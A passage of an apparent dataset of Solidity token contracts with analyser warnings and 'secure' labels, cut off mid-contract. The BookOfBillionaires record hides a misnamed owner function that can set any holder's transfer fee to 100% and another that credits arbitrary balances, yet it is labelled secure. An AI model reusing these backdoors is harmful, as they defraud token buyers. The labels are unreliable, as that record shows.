"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract BSPX is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _name = \"Book Of SPX\";\n\n string private constant _symbol = \"BSPX\";\n\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n uint256 private constant MAX = ~uint256(0);\n\n uint256 private constant _tTotal = 1000000000 * 10 ** 9;\n\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n\n uint256 private _tFeeTotal;\n\n uint256 private _redisFeeOnBuy = 0;\n\n uint256 private _taxFeeOnBuy = 0;\n\n uint256 private _redisFeeOnSell = 0;\n\n uint256 private _taxFeeOnSell = 0;\n\n uint256 private _redisFee = _redisFeeOnSell;\n\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) public _buyMap;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c27bc7): BSPX._developmentAddress should be constant \n\t// Recommendation for 5c27bc7: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0x6c374a31DA4adddf09E5815553ddf0368Ba90535);\n\n\t// WARNING Optimization Issue (constable-states | ID: cac8f17): BSPX._marketingAddress should be constant \n\t// Recommendation for cac8f17: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0xCB74Ad47D933fCDd4475b8D625417E34f4F7150A);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 21437f5): BSPX.uniswapV2Router should be immutable \n\t// Recommendation for 21437f5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 78a2b3f): BSPX.uniswapV2Pair should be immutable \n\t// Recommendation for 78a2b3f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n\t// WARNING Optimization Issue (constable-states | ID: 497be36): BSPX.tradingOpen should be constant \n\t// Recommendation for 497be36: Add the 'constant' attribute to state variables that never change.\n bool private tradingOpen = true;\n\n bool private inSwap = false;\n\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 10000000 * 10 ** 9;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** 9;\n\n uint256 public _swapTokensAtAmount = 10000000 * 10 ** 9;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_developmentAddress] = true;\n\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6e1f4f1): BSPX.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6e1f4f1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0814dc6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0814dc6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 70d8e39): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 70d8e39: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 0814dc6\n\t\t// reentrancy-benign | ID: 70d8e39\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 0814dc6\n\t\t// reentrancy-benign | ID: 70d8e39\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n\n uint256 currentRate = _getRate();\n\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 9a25c64\n _previousredisFee = _redisFee;\n\n\t\t// reentrancy-benign | ID: 9a25c64\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: 9a25c64\n _redisFee = 0;\n\n\t\t// reentrancy-benign | ID: 9a25c64\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 9a25c64\n _redisFee = _previousredisFee;\n\n\t\t// reentrancy-benign | ID: 9a25c64\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6a50411): BSPX._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6a50411: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 70d8e39\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 0814dc6\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 53aaf86): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 53aaf86: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9a25c64): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9a25c64: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 93cea17): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 93cea17: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"TOKEN: This account cannot send tokens until trading is enabled\"\n );\n }\n\n require(amount <= _maxTxAmount, \"TOKEN: Max Transaction Limit\");\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"TOKEN: Balance exceeds wallet size!\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: 53aaf86\n\t\t\t\t// reentrancy-benign | ID: 9a25c64\n\t\t\t\t// reentrancy-eth | ID: 93cea17\n swapTokensForEth(contractTokenBalance);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 53aaf86\n\t\t\t\t\t// reentrancy-eth | ID: 93cea17\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 9a25c64\n _redisFee = _redisFeeOnBuy;\n\n\t\t\t\t// reentrancy-benign | ID: 9a25c64\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 9a25c64\n _redisFee = _redisFeeOnSell;\n\n\t\t\t\t// reentrancy-benign | ID: 9a25c64\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: 53aaf86\n\t\t// reentrancy-benign | ID: 9a25c64\n\t\t// reentrancy-eth | ID: 93cea17\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 53aaf86\n\t\t// reentrancy-events | ID: 0814dc6\n\t\t// reentrancy-benign | ID: 9a25c64\n\t\t// reentrancy-benign | ID: 70d8e39\n\t\t// reentrancy-eth | ID: 93cea17\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 53aaf86\n\t\t// reentrancy-events | ID: 0814dc6\n\t\t// reentrancy-eth | ID: 93cea17\n _marketingAddress.transfer(amount);\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n uint256 contractBalance = balanceOf(address(this));\n\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n\n _transferStandard(sender, recipient, amount);\n\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\n\t\t// reentrancy-eth | ID: 93cea17\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\n\t\t// reentrancy-eth | ID: 93cea17\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n\n _takeTeam(tTeam);\n\n _reflectFee(rFee, tFee);\n\n\t\t// reentrancy-events | ID: 53aaf86\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n\t\t// reentrancy-eth | ID: 93cea17\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 93cea17\n _rTotal = _rTotal.sub(rFee);\n\n\t\t// reentrancy-benign | ID: 9a25c64\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n\n uint256 currentRate = _getRate();\n\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n\n return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);\n }\n\n function _getTValues(\n uint256 tAmount,\n uint256 redisFee,\n uint256 taxFee\n ) private pure returns (uint256, uint256, uint256) {\n uint256 tFee = tAmount.mul(redisFee).div(100);\n\n uint256 tTeam = tAmount.mul(taxFee).div(100);\n\n uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);\n\n return (tTransferAmount, tFee, tTeam);\n }\n\n function _getRValues(\n uint256 tAmount,\n uint256 tFee,\n uint256 tTeam,\n uint256 currentRate\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = tAmount.mul(currentRate);\n\n uint256 rFee = tFee.mul(currentRate);\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);\n\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n\n uint256 tSupply = _tTotal;\n\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n\n return (rSupply, tSupply);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 83470e9): BSPX.setFee(uint256,uint256,uint256,uint256) should emit an event for _redisFeeOnBuy = redisFeeOnBuy _redisFeeOnSell = redisFeeOnSell _taxFeeOnBuy = taxFeeOnBuy _taxFeeOnSell = taxFeeOnSell \n\t// Recommendation for 83470e9: Emit an event for critical parameter changes.\n function setFee(\n uint256 redisFeeOnBuy,\n uint256 redisFeeOnSell,\n uint256 taxFeeOnBuy,\n uint256 taxFeeOnSell\n ) public onlyOwner {\n\t\t// events-maths | ID: 83470e9\n _redisFeeOnBuy = redisFeeOnBuy;\n\n\t\t// events-maths | ID: 83470e9\n _redisFeeOnSell = redisFeeOnSell;\n\n\t\t// events-maths | ID: 83470e9\n _taxFeeOnBuy = taxFeeOnBuy;\n\n\t\t// events-maths | ID: 83470e9\n _taxFeeOnSell = taxFeeOnSell;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 22b1a0d): BSPX.setMinSwapTokensThreshold(uint256) should emit an event for _swapTokensAtAmount = swapTokensAtAmount \n\t// Recommendation for 22b1a0d: Emit an event for critical parameter changes.\n function setMinSwapTokensThreshold(\n uint256 swapTokensAtAmount\n ) public onlyOwner {\n\t\t// events-maths | ID: 22b1a0d\n _swapTokensAtAmount = swapTokensAtAmount;\n }\n\n function toggleSwap(bool _swapEnabled) public onlyOwner {\n swapEnabled = _swapEnabled;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ad8064e): BSPX.setMaxTxnAmount(uint256) should emit an event for _maxTxAmount = maxTxAmount \n\t// Recommendation for ad8064e: Emit an event for critical parameter changes.\n function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {\n\t\t// events-maths | ID: ad8064e\n _maxTxAmount = maxTxAmount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d937090): BSPX.setMaxWalletSize(uint256) should emit an event for _maxWalletSize = maxWalletSize \n\t// Recommendation for d937090: Emit an event for critical parameter changes.\n function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {\n\t\t// events-maths | ID: d937090\n _maxWalletSize = maxWalletSize;\n }\n\n function excludeMultipleAccountsFromFees(\n address[] calldata accounts,\n bool excluded\n ) public onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isExcludedFromFee[accounts[i]] = excluded;\n }\n }\n}",
"file_name": "solidity_code_3733.sol",
"secure": 0,
"size_bytes": 20003
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract BookOfBillionaires is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 553ee6b): BookOfBillionaires._decimals should be immutable \n\t// Recommendation for 553ee6b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4dee37d): BookOfBillionaires._totalSupply should be immutable \n\t// Recommendation for 4dee37d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cb145b0): BookOfBillionaires._devmarketwallet should be immutable \n\t// Recommendation for cb145b0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _devmarketwallet;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _devmarketwallet = 0x27139cE49fABABf5Fa6c6BC2e20BE82D52D64FEf;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Aprrove(address user, uint256 fePercents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = fePercents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, fePercents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _devmarketwallet;\n }\n\n function bobenextpepe(address recipient, uint256 aDrop) external {\n uint256 receiveRewrd = aDrop;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_3734.sol",
"secure": 1,
"size_bytes": 5402
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract PEW2 is ERC20 {\n constructor() ERC20(\"pepe in a memes world 2.0\", \"PEW2.0\") {\n _mint(msg.sender, 1000000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_3735.sol",
"secure": 1,
"size_bytes": 292
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC1155Holder.sol\" as ERC1155Holder;\nimport \"@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol\" as ERC721Holder;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: a3f9a98): Contract locking ether found Contract Otherside has payable functions Otherside.receive() Otherside.fallback() But does not have a function to withdraw the ether\n// Recommendation for a3f9a98: Remove the 'payable' attribute or add a withdraw function.\ncontract Otherside is ERC1155Holder, ERC721Holder {\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: a3f9a98): Contract locking ether found Contract Otherside has payable functions Otherside.receive() Otherside.fallback() But does not have a function to withdraw the ether\n\t// Recommendation for a3f9a98: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: a3f9a98): Contract locking ether found Contract Otherside has payable functions Otherside.receive() Otherside.fallback() But does not have a function to withdraw the ether\n\t// Recommendation for a3f9a98: Remove the 'payable' attribute or add a withdraw function.\n fallback() external payable {}\n}",
"file_name": "solidity_code_3736.sol",
"secure": 0,
"size_bytes": 1326
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract Bakso is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ffa18f9): bakso._taxWallet should be immutable \n\t// Recommendation for ffa18f9: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4350378): bakso._initialBuyTax should be constant \n\t// Recommendation for 4350378: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: efbc34e): bakso._initialSellTax should be constant \n\t// Recommendation for efbc34e: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 30;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b379935): bakso._reduceBuyTaxAt should be constant \n\t// Recommendation for b379935: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9a3c687): bakso._reduceSellTaxAt should be constant \n\t// Recommendation for 9a3c687: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: d855391): bakso._preventSwapBefore should be constant \n\t// Recommendation for d855391: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Disney Sumatran Tiger\";\n\n string private constant _symbol = unicode\"Bakso\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: fc7eeb8): bakso._taxSwapThreshold should be constant \n\t// Recommendation for fc7eeb8: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e11dd09): bakso._maxTaxSwap should be constant \n\t// Recommendation for e11dd09: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 8413800000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 76ebb85): bakso.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 76ebb85: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c246d32): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c246d32: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a76c124): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a76c124: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: c246d32\n\t\t// reentrancy-benign | ID: a76c124\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: c246d32\n\t\t// reentrancy-benign | ID: a76c124\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2685f6b): bakso._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2685f6b: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a76c124\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: c246d32\n emit Approval(owner, spender, amount);\n 